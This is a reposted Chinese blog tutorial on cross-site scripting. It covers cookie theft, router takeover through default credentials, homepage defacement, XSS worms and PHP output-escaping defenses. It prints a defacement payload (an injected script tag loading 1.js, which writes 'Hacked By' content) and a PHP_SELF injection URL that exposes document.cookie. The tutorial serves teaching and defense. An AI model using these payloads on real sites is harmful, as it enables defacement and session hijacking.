网站常见漏洞-- XSS攻击
生活随笔
收集整理的這篇文章主要介紹了
网站常见漏洞-- XSS攻击
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
?
?
跨站攻擊,即Cross?Site?Script?Execution(通常簡寫為XSS,因為CSS與層疊樣式表同名,故改為XSS)?是指攻擊者利用網站程序對用戶輸入過濾不足,輸入可以顯示在頁面上對其他用戶造成影響的HTML代碼,從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。很多人對于XSS的利用大多停留在彈框框的程度,一些廠商對XSS也是不以為然,都認為安全級別很低,甚至忽略不計。? 跨站攻擊的一般步驟: 1.攻擊者確定目標后,向目標站點可以寫入數據庫的地方寫入攻擊代碼 2.網站的管理者在瀏覽攻擊代碼是自身信息泄漏 3.惡意的代碼把獲取的信息返回給攻擊者 4.攻擊者根據獲取到的信息來入侵目標
?
?
?
?
?
?
?
?
?
XSS漏洞利用一、竊取Cookie 對于跨站的攻擊方法,使用最多的莫過于cookie竊取了,獲取cookie后直接借助“明小子”工具或其它可修改cookie的瀏覽器(如裝有Cookies?Edit插件的Firefox)將cookie修改為獲取的cookie,這樣即可獲得網站的管理權限。
?
?
?
?
?
?
二.滲透路由器 對于處于內網中的用戶,我們可以利用XSS來更改路由器密碼。我們可以借助默認的密碼來登陸路由器,比如URL:http://admin:admin@192.168.1.1,其實很多路由器都是使用默認密碼,我這里這臺也是如此,直接以admin作為用戶名和密碼?
?
?
?
?
?
?
三、讀取本地文件 在不同的瀏覽器中對本地文件的讀取有著不同的限制,之前XEYE?team曾有過統(tǒng)計,內容如下:?
?
四、Hacking?HomePage 相信對于很多初學Hack的朋友,都會對那一張張的黑頁獨有情鐘,尤其是當前中美黑客大戰(zhàn)中,中國人掛在白宮網站上黑頁,讓人至今記憶猶新!本節(jié)主要就是利用XSS來黑掉別人博客主頁,但這里的黑頁與入侵服務器來修改主頁有很大區(qū)別,利用XSS來黑頁其實并不是修改服務器上的頁面,它只是通過JavaScript,CSS及其它WEB技術來修改頁面。這主要就是通過注入js代碼,然后在后臺執(zhí)行以達到盜取cookie或劫持瀏覽器的目的,這些代碼往往都是一些HTML或JavaScript代碼(往往是使用InnerHTML或者document.write命令來動態(tài)創(chuàng)建文本,圖像及其它數據信息)。下的“自定義header”一欄為例。我們先在向其寫入下列語句: <script?src?="http://localhost/1.js"></script> 接下來編寫1.js代碼: document.write("<center><h1><font?color=#FF0000>Hacked?By?riusksk</font></h1></cneter>"); document.write("<center><h2><font?color=#000000>Just?for?test?!</font><h2></center><p><imgsrc=http://filer.blogbus.com/6233861/resource_6233861_1283677044i.jpg></p><p><!--"); 上面的“<!—”主要是用于將后面的頁面內容注釋掉,避免顯示,但這在各瀏覽器中情況會有所不同,比如我在Chrome中可以起到此作用,但在其它瀏覽器達不到此效果了,得采用其它注釋語句方可,或者先用document.body.innerHTML?=?'';來清空body主體中的html代碼,然后再逐一利用document.createElement創(chuàng)建元素也是可行的。這里我是以Chrome作為測試用的瀏覽器
?
?
?
?
?
五、跨站中的“溢出攻擊” 相信熟悉緩沖區(qū)溢出攻擊的朋友,都知道其中的原理:通過向堆棧中填充過多的字節(jié)以覆蓋返回地址,進而控制程序的執(zhí)行流程。這里我要講的XSS攻擊方式與溢出有著類似的特點,但正如上面所講到的,結果還是漏洞一堆,看來很多技術人員把博客放在百度空間還是有一定道理,至少它比這些博客網站安全多了。六、XSS?Worm 隨著WEB2.0時代的到來,而Ajax就是WEB2.0的標志性技術。AJAX即“Asynchronous?JavaScript?and?XML”(異步JavaScript和XML),AJAX并非縮寫詞,而是由Jesse?James?Gaiiett創(chuàng)造的名詞,是指一種創(chuàng)建交互式網頁應用的網頁開發(fā)技術。Ajax的出現(xiàn)為XSS蠕蟲的發(fā)展提供的很大的便利,也因此加速了xss?worm技術的傳播。這里我們就以之前爆發(fā)的Twitte蠕蟲為例進行分析,該跨站漏洞主要出現(xiàn)在"Settings"?菜單下的?"Name"文本域以及"More?info?URL"文本域,是由一位來自美國紐約的17歲小伙子寫的,當時他花了2小時就全搞定了,代碼太多了,就不說了。有興趣的可以上網百度一下。
七、DDOS攻擊
?
XSS攻擊的種類
?
?
xss的發(fā)掘
?
?
?
?
?
?
?
XSS攻擊的防范(網站)1.代碼修改的防御 利用htmlspecialchars函數將特殊字符轉換成HTML編碼? 函數原型? string?htmlspecialchars?(string?string,?int?quote_style,?string?charset)? string?是要編碼的字符串? quote_style?可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認值ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換? charset?可選,表示使用的字符集? 函數會將下列特殊字符轉換成html編碼:? &?—->?&? "?—->?"? ‘?—->?‘ <?—->?< >?—->?>?
$_SERVER["PHP_SELF"]變量的跨站?
在某個表單中,如果提交參數給自己,會用這樣的語句 <form?action="<?php?echo?$_SERVER["PHP_SELF"];?>"?method="POST">
……?
</form>?$_SERVER["PHP_SELF"]變量的值為當前頁面名稱? 例:?
http://www.sectop.com/get.php? get.php中上述的表單? 那么我們提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>?
那么表單變成?
<form?action="get.php/"><script>alert(document.cookie);</script>"?method="POST">?
跨站腳本被插進去了? 防御方法還是使用htmlspecialchars過濾輸出的變量,或者提交給自身文件的表單使用?
<form?action=""?method="post">? 這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站
2.使用入侵檢測產品的XSS防御
3.對關鍵字進行過濾,有的關鍵字在使用時被URL或其他的轉碼,所以在過濾式也應當考慮到 4.可以使用統(tǒng)一的編碼,如UTF8
總結: 作為開發(fā)人員,要有一定的安全意識,當編寫一段代碼的時候,要站在攻方的角度,來思考程序的安全性。 作為安全人員,要站在開發(fā)人員的角度來思考,推測開發(fā)人員的邏輯,尋找缺陷,并加以利用。
?
?
? ? ?本文轉自Tar0 51CTO博客,原文鏈接:http://blog.51cto.com/tar0cissp/1281705,如需轉載請自行聯(lián)系原作者
總結
以上是生活随笔為你收集整理的网站常见漏洞-- XSS攻击的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: GPhone、OPhone、UPhone
- 下一篇: Unhandled event loop